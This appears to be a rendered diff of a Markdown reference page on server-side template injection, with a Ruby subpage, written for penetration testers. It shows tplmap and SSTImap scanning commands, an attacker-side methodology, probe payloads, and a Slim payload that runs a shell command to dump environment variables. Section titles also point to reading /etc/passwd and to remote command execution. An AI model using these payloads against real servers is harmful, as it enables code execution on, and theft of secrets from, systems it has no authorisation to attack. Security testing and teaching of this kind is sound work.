python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link" python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
``` ```
* [vladko312/SSTImap](https://github.com/vladko312/SSTImap) - Automatic SSTI detection tool with interactive interface based on [epinna/tplmap](https://github.com/epinna/tplmap) - [vladko312/SSTImap](https://github.com/vladko312/SSTImap) - Automatic SSTI detection tool with interactive interface based on [epinna/tplmap](https://github.com/epinna/tplmap)
```powershell ```powershell
python3 ./sstimap.py -u 'https://example.com/page?name=John' -s python3 ./sstimap.py -u 'https://example.com/page?name=John' -s
python3 ./sstimap.py -u 'https://example.com/page?name=Vulnerable*&message=My_message' -l 5 -e jade python3 ./sstimap.py -u 'https://example.com/page?name=Vulnerable*&message=My_message' -l 5 -e jade
python3 ./sstimap.py -i -A -m POST -l 5 -H 'Authorization: Basic bG9naW46c2VjcmV0X3Bhc3N3b3Jk' python3 ./sstimap.py -i -A -m POST -l 5 -H 'Authorization: Basic bG9naW46c2VjcmV0X3Bhc3N3b3Jk'
``` ```
## Methodology ## Methodology
### Identify the Vulnerable Input Field ### Identify the Vulnerable Input Field
The attacker first locates an input field, URL parameter, or any user-controllable part of the application that is passed into a server-side template without proper sanitization or escaping. The attacker first locates an input field, URL parameter, or any user-controllable part of the application that is passed into a server-side template without proper sanitization or escaping.
For example, the attacker might identify a web form, search bar, or template preview functionality that seems to return results based on dynamic user input. For example, the attacker might identify a web form, search bar, or template preview functionality that seems to return results based on dynamic user input.
**TIP**: Generated PDF files, invoices and emails usually use a template. **TIP**: Generated PDF files, invoices and emails usually use a template.
### Inject Template Syntax ### Inject Template Syntax
The attacker tests the identified input field by injecting template syntax specific to the template engine in use. Different web frameworks use different template engines (e.g., Jinja2 for Python, Twig for PHP, or FreeMarker for Java). The attacker tests the identified input field by injecting template syntax specific to the template engine in use. Different web frameworks use different template engines (e.g., Jinja2 for Python, Twig for PHP, or FreeMarker for Java).
Common template expressions: Common template expressions:
* `{{7*7}}` for Jinja2 (Python). - `{{7*7}}` for Jinja2 (Python).
* `#{7*7}` for Thymeleaf (Java). - `#{7*7}` for Thymeleaf (Java).
Find more template expressions in the page dedicated to the technology (PHP, Python, etc). Find more template expressions in the page dedicated to the technology (PHP, Python, etc).
@@ -70,33 +69,29 @@ ${{<%[%'"}}%\.
The [Hackmanit/Template Injection Table](https://github.com/Hackmanit/template-injection-table) is an interactive table containing the most efficient template injection polyglots along with the expected responses of the 44 most important template engines. The [Hackmanit/Template Injection Table](https://github.com/Hackmanit/template-injection-table) is an interactive table containing the most efficient template injection polyglots along with the expected responses of the 44 most important template engines.
### Enumerate the Template Engine ### Enumerate the Template Engine
Based on the successful response, the attacker determines which template engine is being used. This step is critical because different template engines have different syntax, features, and potential for exploitation. The attacker may try different payloads to see which one executes, thereby identifying the engine. Based on the successful response, the attacker determines which template engine is being used. This step is critical because different template engines have different syntax, features, and potential for exploitation. The attacker may try different payloads to see which one executes, thereby identifying the engine.
* **Python**: Django, Jinja2, Mako, ... - **Python**: Django, Jinja2, Mako, ...
* **Java**: Freemarker, Jinjava, Velocity, ... - **Java**: Freemarker, Jinjava, Velocity, ...
* **Ruby**: ERB, Slim, ... - **Ruby**: ERB, Slim, ...
[The post "template-engines-injection-101" from @0xAwali](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) summarize the syntax and detection method for most of the template engines for JavaScript, Python, Ruby, Java and PHP and how to differentiate between engines that use the same syntax. [The post "template-engines-injection-101" from @0xAwali](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) summarize the syntax and detection method for most of the template engines for JavaScript, Python, Ruby, Java and PHP and how to differentiate between engines that use the same syntax.
### Escalate to Code Execution ### Escalate to Code Execution
Once the template engine is identified, the attacker injects more complex expressions, aiming to execute server-side commands or arbitrary code. Once the template engine is identified, the attacker injects more complex expressions, aiming to execute server-side commands or arbitrary code.
## Labs ## Labs
* [Root Me - Java - Server-side Template Injection](https://www.root-me.org/en/Challenges/Web-Server/Java-Server-side-Template-Injection) - [Root Me - Java - Server-side Template Injection](https://www.root-me.org/en/Challenges/Web-Server/Java-Server-side-Template-Injection)
* [Root Me - Python - Server-side Template Injection Introduction](https://www.root-me.org/en/Challenges/Web-Server/Python-Server-side-Template-Injection-Introduction) - [Root Me - Python - Server-side Template Injection Introduction](https://www.root-me.org/en/Challenges/Web-Server/Python-Server-side-Template-Injection-Introduction)
* [Root Me - Python - Blind SSTI Filters Bypass](https://www.root-me.org/en/Challenges/Web-Server/Python-Blind-SSTI-Filters-Bypass) - [Root Me - Python - Blind SSTI Filters Bypass](https://www.root-me.org/en/Challenges/Web-Server/Python-Blind-SSTI-Filters-Bypass)
## References ## References
- [A Pentester's Guide to Server Side Template Injection (SSTI) - Busra Demir - December 24, 2020](https://www.cobalt.io/blog/a-pentesters-guide-to-server-side-template-injection-ssti) - [A Pentester's Guide to Server Side Template Injection (SSTI) - Busra Demir - December 24, 2020](https://www.cobalt.io/blog/a-pentesters-guide-to-server-side-template-injection-ssti)
- [Gaining Shell using Server Side Template Injection (SSTI) - David Valles - August 22, 2018](https://medium.com/@david.valles/gaining-shell-using-server-side-template-injection-ssti-81e29bb8e0f9) - [Gaining Shell using Server Side Template Injection (SSTI) - David Valles - August 22, 2018](https://medium.com/@david.valles/gaining-shell-using-server-side-template-injection-ssti-81e29bb8e0f9)
- [Template Engines Injection 101 - Mahmoud M. Awali - November 1, 2024](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) - [Template Engines Injection 101 - Mahmoud M. Awali - November 1, 2024](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
- [Template Injection On Hardened Targets - Lucas 'BitK' Philippe - September 28, 2022](https://youtu.be/M0b_KA0OMFw) - [Template Injection On Hardened Targets - Lucas 'BitK' Philippe - September 28, 2022](https://youtu.be/M0b_KA0OMFw)

View File

@@ -2,7 +2,6 @@
> Server-Side Template Injection (SSTI) is a vulnerability that arises when an attacker can inject malicious code into a server-side template, causing the server to execute arbitrary commands. In Ruby, SSTI can occur when using templating engines like ERB (Embedded Ruby), Haml, liquid, or Slim, especially when user input is incorporated into templates without proper sanitization or validation. > Server-Side Template Injection (SSTI) is a vulnerability that arises when an attacker can inject malicious code into a server-side template, causing the server to execute arbitrary commands. In Ruby, SSTI can occur when using templating engines like ERB (Embedded Ruby), Haml, liquid, or Slim, especially when user input is incorporated into templates without proper sanitization or validation.
## Summary ## Summary
- [Templating Libraries](#templating-libraries) - [Templating Libraries](#templating-libraries)
@@ -10,10 +9,9 @@
- [Ruby - Basic injections](#ruby---basic-injections) - [Ruby - Basic injections](#ruby---basic-injections)
- [Ruby - Retrieve /etc/passwd](#ruby---retrieve-etcpasswd) - [Ruby - Retrieve /etc/passwd](#ruby---retrieve-etcpasswd)
- [Ruby - List files and directories](#ruby---list-files-and-directories) - [Ruby - List files and directories](#ruby---list-files-and-directories)
- [Ruby - Remote Command execution](#ruby---remote-Command-execution) - [Ruby - Remote Command execution](#ruby---remote-command-execution)
- [References](#references) - [References](#references)
## Templating Libraries ## Templating Libraries
| Template Name | Payload Format | | Template Name | Payload Format |
@@ -26,7 +24,6 @@
| Mustache | `{{ }}` | | Mustache | `{{ }}` |
| Slim | `#{ }` | | Slim | `#{ }` |
## Ruby ## Ruby
### Ruby - Basic injections ### Ruby - Basic injections
@@ -74,7 +71,6 @@ Execute code using SSTI for **Slim** engine.
#{ %x|env| } #{ %x|env| }
``` ```
## References ## References
* [Ruby ERB Template Injection - Scott White & Geoff Walton - September 13, 2017](https://web.archive.org/web/20181119170413/https://www.trustedsec.com/2017/09/rubyerb-template-injection/) - [Ruby ERB Template Injection - Scott White & Geoff Walton - September 13, 2017](https://web.archive.org/web/20181119170413/https://www.trustedsec.com/2017/09/rubyerb-template-injection/)